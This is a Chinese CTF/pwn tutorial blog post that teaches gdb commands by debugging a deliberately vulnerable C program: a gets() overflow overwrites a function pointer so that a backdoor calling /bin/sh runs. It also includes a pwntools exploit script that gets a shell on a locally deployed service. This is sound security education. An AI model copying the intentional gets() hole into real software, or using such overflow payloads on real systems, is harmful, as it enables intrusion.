pwn入门：详解gdb调试程序的常见命令

傷城~ 2024-02-20 13:07 15阅读 0赞

**目录**

写在开头

一、pwn题目环境的部署

二、解题思路（不是重点）

三、gdb的调试过程（重点）

完整运行过程（run）

调试程序（重点）

运行到程序的开始位置

设置断点

查看内存

修改地址的值

单步运行/查看寄存器

四、python脚本的编写

总结与思考

## 写在开头 ##

近期又开始回头开始学pwn了，看了b站国资社畜大佬的视频，在大佬讲解的基础上做个总结，加入了我的一些思考。学pwn主要是要了解内存布局和程序的执行过程，感觉学习路线确实比较陡峭，今后我也会不定期更新这个系列。

本文主要以对一个程序的调试过程为例，介绍gdb调试器的常见命令，并直观的展示所谓“溢出”覆盖的效果以及大小端序的问题。涉及的知识点包括：**pwn题目环境的部署、gdb调试的常见命令、大小端序的影响、简单解pwn题目脚本的编写**。特别说明，由于篇幅有限，本文不会过多介绍汇编指令以及程序运行时函数调用栈的变化过程。这些内容可能会在后面的博客中再做介绍，本文的重点是使用gdb对程序进行调试。本文需要的工具主要有gdb和pwntools，读者如果想跟着复现，只要有gdb和pwntools即可，安装过程详见：

[pwn入门（1）：kali配置相关环境（pwntools+gdb+peda）\_gdb插件 peda-CSDN博客][pwn_1_kali_pwntools_gdb_peda_gdb_ peda-CSDN]

备注：文末有我总结的gdb常见指令，有需要的读者可以直接看文末。

## 一、pwn题目环境的部署 ##

这一部分属于调试过程的前置，想在本地部署一个pwn环境，用socat开启一个本地端口运行pwn题目（下文会细说）。当然读者如果仅仅了解gdb的话也可以不用考虑这么多，直接用p = process(./文件)即可。建议使用ubuntu或kali这样的系统部署环境、调试程序。

首先我们要构建一个存在“溢出”漏洞的二进制文件。这里我们就用国资社畜大佬给出的question.c文件即可，其内容如下：

#include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    char sh[]="/bin/sh";
    
    int init_func(){
        setvbuf(stdin,0,2,0);
        setvbuf(stdout,0,2,0);
        setvbuf(stderr,0,2,0);
        return 0;
    }
    
    int func(char *cmd){
            system(sh);
            return 0;
    }
    
    int main(){
        init_func();
        volatile int (*fp)();
        fp=0;
        int a;
        puts("input:");
        gets(&a);  //gets没有对输入字符的长度做限制，存在溢出
        if(fp){
            fp();
        }
        return 0;
    }

然后用gcc把这个文件编译一下，生成存在漏洞的二进制文件，注意编译的过程要关闭pie保护，命令如下：

gcc question.c -no-pie -o question1

![e0d008c928a644dd9a502c1e1947071c.png][]

> 此处简要说明一下PIE保护（不是本文重点）。
> 
> 1.PIE保护是编译时默认开启的。如果想关闭pie保护，需要手动添加参数-no-pie
> 
> 2.PIE **(position-independent executable)** 是一种生成地址无关可执行程序的技术。是一种保护机制，如果程序开启了PIE保护的话，那么在每次加载程序时都会改变加载的基地址。当然这种机制不利于我们本地调试程序，所以在这里就关闭了。

接下来为了增强仪式感，我们可以在当前目录新建一个文件flag，拿到这个flag相当于解题成功。

![46fad25c1c674004aec4563248fbdc02.png][]

然后用socat开启8888端口部署这个题目question1，当然你也可以使用任何未被占用的其他端口：

socat tcp-l:8888,fork exec:./question1,reuseaddr

![0115876b1e9347c9b33eb8af7e10a9a9.png][]

然后另起一个终端（ctrl+shift+t），试一试能不能用nc连接这个题目，如下图连接成功：

![5e24daded667463b85be3179f465a019.png][]

随便输入一段字符串看看效果，好像没啥问题：

![005bd68f6c4640868bd3257ea2cee678.png][]

## 二、解题思路（不是重点） ##

如果从解题的角度思考，我们只能拿到一个二进制文件，是看不到源代码的。当然可以放到ida中分析，也可以用反汇编工具查看伪源代码，然后再慢慢分析。不过由于本文的重点是用gdb调试程序，因此这里就直接从上面的源代码简要分析触发漏洞的位置：

> 1.溢出点：代码中存在危险函数gets()。gets函数用于获取用户的输入，且不会对输入的字符数量做限制，因此有可能会溢出覆盖其他内存。
> 
> 2.后门函数：存在后门函数func，这个函数可以获取shell，我们要想办法让这个函数执行。
> 
> 3.函数指针fp，原始的逻辑是定义了一个函数指针fp，然后把fp指针设置为0，if语句永远为假，如果我们可以修改fp指针的值，使得fp指向后门函数func的地址，则可以getshell，而fp指针的值是可以被gets函数的输入覆盖的，因此就可以被我们控制。

## 三、gdb的调试过程（重点） ##

### 完整运行过程（run） ###

首先把这个二进制文件复制到另外一个文件夹（也可以直接再刚刚的目录操作，我只是想有点仪式感，不想让解题调试的目录和题目的部署目录相同），下图中的bin就是之前的question1，我改了个名字：

![7354c2166cb744ed816d365fe7126a6b.png][]

然后开始用gdb调试，直接运行命令即可：

gdb ./bin

![43ea853856244de5a60dbe7e0d14dabc.png][]

可以先直接run一下这个文件试试看看效果，先输入run，然后输入一个很短的字符串，比如abc，如下图：

![44fa0845c9f549f29cad16547fd0b2f7.png][]

可以发现run指令会从头到尾运行当前程序（此时没有溢出），那么如果发生了溢出会怎样呢？我们重新run一下，这次输入一个非常长的字符串保证溢出：

![308659f968eb45599c1eddddc22b8db7.png][]

如上图所示，显示当前程序出现了段错误。那么我们想知道当前指令运行到了哪里，可以通过rip寄存器来寻找。在x64架构下rip寄存器指向当前执行指令的地址。我们可以用如下的命令查看当前运行到了哪里：

x/20i $rip

> x用于查看内存的内容，/20i表示查看20条指令，以汇编的形式显示（i）。而rip寄存器存储了当前执行指令的地址，因此x/20i $rip可以看到当前程序执行到了哪一条指令。

![71a50c33d7f945ee9553f43f89e6bc17.png][]

可以发现执行到了call rdx这条指令就出现了问题，应该是rdx寄存器指向的地址出了问题，出现了 段错误。这正是由于我们刚刚通过gets函数输入的字符过长，通过一系列的操作，最终导致rdx寄存器的值出了问题，指向了无意义的地址。回到程序，我们重新调试。

### 调试程序（重点） ###

#### 运行到程序的开始位置 ####

输入q退出。重新调试程序，这回用start开始运行程序：

![c95fdbf6ae5741ad8962791b929fb037.png][]

run指令会让程序完整运行，而start指令则会先运行到程序的入口点，通常就是main函数的开始位置。在这个位置我们用rip找到当前指令的指向位置：

![46e1798c36004f279b938cf85c98e868.png][]

当然，我们也可以直接查看main汇编源代码，也是一样的效果：

disassemble main

![e337cd69e7264e9c90c09c51e1c98666.png][]

总之就是运行到了程序的main函数开始的位置。记得之前run造成溢出的时候，程序会停止在call rdx这条指令上，那么rdx指令的值是谁赋值给他的呢，我们可以往上看两行，就可以发现有一条指令mov rdx,QWORD PTR\[rbp-0x10\]这条指令，把rbp-0x10地址中的值赋值给了rdx：

![0720c4ed21dc40adba9cc01639fb5082.png][]

#### 设置断点 ####

可以看到给rdx赋值的指令的地址是0x0000000000401293，那么我们可以在这个指令的地址下个断点。

b *0x0000000000401293

可以用如下指令查看断点：

i b

![ac8a1460c9064222a143415de232aef9.png][]

可以用指令d 2删除这个断点，其中2是断点编号（num）：

![217d1114ec214c23a7ac3b37ebce6413.png][]

重新设置这个断点，通常情况下，调试程序时没必要删除断点，直接关闭断点即可，关闭和开启断点的命令是：

disable b 2
    enable b 2

![f4c9ac0ce6df41a3b9a4b1823e7a50c4.png][]

总而言之我们在mov rdx,QWORD PTR\[rbp-0x10\]这条指令处下了断点，接下来我们用c或continue指令继续运行程序，程序会运行到断点位置停止：

![8c5b3a661b45453f96adb12a7c5d0dd3.png][]

运行到断点之前会让我们输入一段字符串，我们输入一个比较长的字符串abcdefghijk构造溢出（此时我们暂时不知道这个字符串是否溢出，下文会详解），然后回车。再次用rip寻址，果然运行到了断点的位置。下一条指令应该就是将从rbp-0x10地址开始的8个字节（QWORD是8个字节）赋值给rdx了。但再次之前，我们应该先查看一下内存：

#### 查看内存 ####

前面我们已经尝试过通过x/20i $rip的方式查看内存了。此时我们要重点查看的是rbp-0x10，可用如下的命令查看：

x/20g $rbp-0x10

> 这条命令的作用是查看从$rbp寄存器指向的地址减去16字节(0x10)的位置开始的20个长双精度浮点数。结果如下：

![d395983fa658478bb55abd583308c966.png][]

如果大家对ascii码敏感的话，就可以发现16进制的65,66,67,68...这些数字（即十进制的101,102,...）应该就是我们刚刚输入的efgh....，从这个图也可以反应出小端序的显示，即\\x65所在地址是0x7fffffffdf20。这么快或许不太明显，我们干脆从rbp-0x20的位置开始看（即再往前看16个字节）：

x/20g $rbp-0x20

![29989f3c9bd8433997382b3d6e4f77ca.png][]

如上图，这回应该就能比较明显的看到我们输入的字符a（即0x61）在内存的什么位置，以及整个字符串的小端序排列过程。 （a对应0x61，以此类推）如果我们想让\[rbp-0x10\]的值是func函数的地址的话，就需要构造溢出，使得地址0x7fffffffdf20的值（即上图中从\\x65开始的位置）是func函数的地址。

#### 修改地址的值 ####

在本地调试的过程中，我们可用set指令强行手动改变地址的值，比如这里我们可以设置0x7fffffffdf20地址的值是func函数的地址。首先用p指令查找func函数所在地址：

p &func

![db66984848a44291ab3bb729a21bc396.png][]

可以发现func函数所在的地址是0x40121f，那么接下来我们强行用set指令修改0x7fffffffdf20的值是0x40121f

set *0x7fffffffdf20=0x40121f

![a5b3b0ac5fa64c2bada56993bee38d24.png][]

再次查看内存，发现确实修改了地址的值，但从0x7fffffffdf24开始的内容还是原来的\\x69\\x6a\\x6b，没有被覆盖掉，这主要是由于数据类型的大小问题，导致只覆盖了低位的4个字节。这里我们干脆直接再将从0x7fffffffdf24开始的4个字节置零。

set *0x7fffffffdf24=0

![1504df3fef4f4783aa0bdb80833f80be.png][]

这样的话，从地址rbp-0x10开始的8个字节就被设置成了func函数的地址，我们回到程序的运行位置：

![8dd4e41ccd644e63af961c3519d4300f.png][]

接下来如果运行mov rdx,QWORD PTR \[rbp-0x10\]指令，则会将rdx的值赋值为func的地址。

#### 单步运行/查看寄存器 ####

接下来我们通过单步运行程序进行调试。在单步运行程序时，我们先查看寄存器的情况：

i r

![48fc2b03d5c540aab4faa4c15ee152ce.png][]

如上图所示，rdx此时还是0，rip指向下一条指令的地址，即 mov rdx,QWORD PTR \[rbp-0x10\]指令的地址。我们通过ni指令单步运行程序，执行这条指令：

![b1d1323580764b6d96f2ebc743412c0d.png][]

如上图， mov rdx,QWORD PTR \[rbp-0x10\]已经执行完，再次查看寄存器的值：

![656ae663156547a286ec40df63f80f6b.png][]

果然，此时rdx已经被修改，再回看一下main函数的执行过程：

disassemble main

![a8b269e208a3408c94393caab7dc6c58.png][]

此时只要再往下运行两行指令，就会执行完成call rdx，就相当于调用了后门函数func，应该就能拿到shell了。我们运行两次ni，应该就可以拿到shell。

![f345f63ee0b0475d9442c6fd6c3ee4b7.png][]

nice!果然拿到了shell，这里顺便提一下gdb指令ni和si的区别，ni表示下一条指令，而si表示单步运行，换句话讲就是ni遇到函数调用会直接执行完函数，而si会进入函数里面单步执行。此时我们希望调用func直接完成，因此使用ni指令更快捷，当然也可以用si进入函数再执行。

## 四、python脚本的编写 ##

从解题的角度来讲，我们只要构造合理的溢出，从输入的第5个字节开始就会溢出到rbp-0x10的地址了，因此我们的payload的可以是"a"\*4 + func函数的地址。然而很可惜，func函数的地址0x40121f对应的这几个\\x40\\x12lx1f字节并没有可见字符对应（即像0x61对应字符a，0x65对应字符e这样），因此只能通过python脚本的方法构造payload，完成对特定地址的覆盖。编写的python3脚本exp-pwn.py如下：

from pwn import *
    p = remote("127.0.0.1", 8888) #连接题目部署的环境，相当于nc 127.0.0.1 8888
    p.recv() #接受程序输出的"input"字符串
    func_addr = 0x40121f  #func函数的地址
    #payload = b"a"*4 + p64(addr)   #可以这么写，用pwntools中的p64函数会自动设置成小端序，不过为了理解更深刻，还是用下面这行 
    payload = b'a' * 4 + b"\x1f\x12\x40\x00\x00\x00\x00\x00"  #小端序构造溢出
    p.send(payload) #将payload发送给程序
    p.interactive()

特别注意对应小端序的理解，运行这段程序应该就能拿到shell了：

![9c6ddc1b8a48446993da401c9892a52f.png][]

注意这个shell的当前位置就是题目部署环境的位置。相当于我们通过a.out这个有漏洞程序拿到了靶机的shell。实际的ctf当然还要读取flag啦！

## 总结与思考 ##

本文以一个pwn题目为例，详解了使用gdb的调试程序过程。题目本身没有难度，重点在于gdbd 调试过程。gdb作为非常强大的调试器，对于解pwn题目是非常有帮助的，我们一定要了解如何调试程序（单步运行、设置断点、查看内存、查看寄存器、修改地址的值等）这里我总结了一个gdb的常用指令表格：

<table> 
 <tbody> 
  <tr> 
   <td>用途</td> 
   <td>指令</td> 
   <td>说明</td> 
  </tr> 
  <tr> 
   <td>运行程序</td> 
   <td>run</td> 
   <td>从头开始完整运行程序</td> 
  </tr> 
  <tr> 
   <td>运行到程序开始的位置</td> 
   <td>start</td> 
   <td>运行到入口点，通常是main函数入口</td> 
  </tr> 
  <tr> 
   <td>单步指令</td> 
   <td>si</td> 
   <td>单步运行程序，遇到函数调用会进入函数</td> 
  </tr> 
  <tr> 
   <td>下一条指令</td> 
   <td>ni</td> 
   <td>运行下一条指令，遇到函数会直接执行完函数</td> 
  </tr> 
  <tr> 
   <td>设置断点</td> 
   <td>b *地址</td> 
   <td>在某个地址设置断点（默认启用）</td> 
  </tr> 
  <tr> 
   <td>查看断点</td> 
   <td>i b</td> 
   <td>列出当前所有断点（启用/未启用）</td> 
  </tr> 
  <tr> 
   <td>删除断点</td> 
   <td>d b 断点编号</td> 
   <td>删除某个断点</td> 
  </tr> 
  <tr> 
   <td>关闭断点</td> 
   <td>disable b 断点编号</td> 
   <td>将某个断点设置为关闭状态（不启用）</td> 
  </tr> 
  <tr> 
   <td>启用断点</td> 
   <td>enable b 断点编号</td> 
   <td>将某个断点设置为启用状态</td> 
  </tr> 
  <tr> 
   <td>汇编</td> 
   <td>disassemble main</td> 
   <td>汇编整个main，可观察当前运行指令</td> 
  </tr> 
  <tr> 
   <td>修改内存</td> 
   <td>set *地址=值</td> 
   <td>强行修改某个地址存储的值</td> 
  </tr> 
  <tr> 
   <td colspan="1">查看内存</td> 
   <td>x/20i $rip</td> 
   <td>查看当前程序中从 <code>$rip</code> 寄存器指向的地址开始的20条汇编指令</td> 
  </tr> 
  <tr> 
   <td>x/20g 地址</td> 
   <td>查看地址的内容，显示20行，每行8个字节</td> 
  </tr> 
  <tr> 
   <td>x/20b 地址</td> 
   <td>查看地址的内容，显示20行，每行1个字节</td> 
  </tr> 
  <tr> 
   <td>p $寄存器</td> 
   <td>查看寄存器中存储的值</td> 
  </tr> 
  <tr> 
   <td>p *地址</td> 
   <td>查看某个地址中存储的值</td> 
  </tr> 
  <tr> 
   <td>p &amp;func</td> 
   <td>查看func函数的地址</td> 
  </tr> 
 </tbody> 
</table>

近期还挺头大的，工作原因要速成pwn了，可能后续还会更新有关pwn的知识，希望大家多多点赞关注支持，如果有啥问题也可以评论指出，我一定知无不言。

![a05abe8a3c7f4c9db72ec5883ca5b312.png][]

[pwn_1_kali_pwntools_gdb_peda_gdb_ peda-CSDN]: https://blog.csdn.net/Bossfrank/article/details/130213456
[e0d008c928a644dd9a502c1e1947071c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/f6e13a95195442d39e72196036c92581.png
[46fad25c1c674004aec4563248fbdc02.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/455eaad1e9b14e37926500d5f575ea16.png
[0115876b1e9347c9b33eb8af7e10a9a9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/0c3e91082d5f402ba5b8ff2f047c9632.png
[5e24daded667463b85be3179f465a019.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/2d0be038ad83487ea9a2ca09008d28c5.png
[005bd68f6c4640868bd3257ea2cee678.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/2a317666a6444b5994fea3d5510e3389.png
[7354c2166cb744ed816d365fe7126a6b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/4d0df69affcd446eac55ae474212b37d.png
[43ea853856244de5a60dbe7e0d14dabc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/4fdfbb9a82124cf8a3b57e3e361f385e.png
[44fa0845c9f549f29cad16547fd0b2f7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/51c86d2e27604efa832a99947abc10fc.png
[308659f968eb45599c1eddddc22b8db7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/17b1410d098a4163908b684c1a6d8ad9.png
[71a50c33d7f945ee9553f43f89e6bc17.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/723a37433c4d4038b9738adddfbfc02f.png
[c95fdbf6ae5741ad8962791b929fb037.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/be289f128aee42509483c28f404e6026.png
[46e1798c36004f279b938cf85c98e868.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/9b21bd6f55864ad6812a0ce2c2ad9de5.png
[e337cd69e7264e9c90c09c51e1c98666.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/b51a915ce0334574a54372ebf26700ba.png
[0720c4ed21dc40adba9cc01639fb5082.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/875b99b4e8db4faea8c52f174d12eaba.png
[ac8a1460c9064222a143415de232aef9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/fb5e3eccb09f41568f02654b11b8c604.png
[217d1114ec214c23a7ac3b37ebce6413.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/1a5792169bf847c49439ad52b0c79cdc.png
[f4c9ac0ce6df41a3b9a4b1823e7a50c4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/98c2f1b72510439ca0ebc295f9f28280.png
[8c5b3a661b45453f96adb12a7c5d0dd3.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/6c111ee189a44bf7b9ae0b7c7efe280a.png
[d395983fa658478bb55abd583308c966.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/182b8fcdadc14cad823636518e4003ae.png
[29989f3c9bd8433997382b3d6e4f77ca.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/a690de032d204055a1d7cdea38ac1a9b.png
[db66984848a44291ab3bb729a21bc396.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/3243bd598eab4232b6aec8f3637ae363.png
[a5b3b0ac5fa64c2bada56993bee38d24.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/8c30ce4264d8403b829598e482db0890.png
[1504df3fef4f4783aa0bdb80833f80be.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/0b8cfc3e113b44ab99ad930205993118.png
[8dd4e41ccd644e63af961c3519d4300f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/f3c0c662d6a04a3eb9547fbe2fbabf0b.png
[48fc2b03d5c540aab4faa4c15ee152ce.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/1b49ae179aab4844a501ebd4dd7f8f08.png
[b1d1323580764b6d96f2ebc743412c0d.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/3584aaa669fe47f3bf05fdf01bc7ee70.png
[656ae663156547a286ec40df63f80f6b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/6b88e7ecc883406dbcb41fe4b6654f07.png
[a8b269e208a3408c94393caab7dc6c58.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/5eee7d512195409db4959fb6ac6b8915.png
[f345f63ee0b0475d9442c6fd6c3ee4b7.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/728c430e9ab947749aa42ad9c491a8e2.png
[9c6ddc1b8a48446993da401c9892a52f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/faaad39bdd904c1e9d981d10a653ae4b.png
[a05abe8a3c7f4c9db72ec5883ca5b312.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/20/edde7fb9cf674358b568d61324cf4c29.png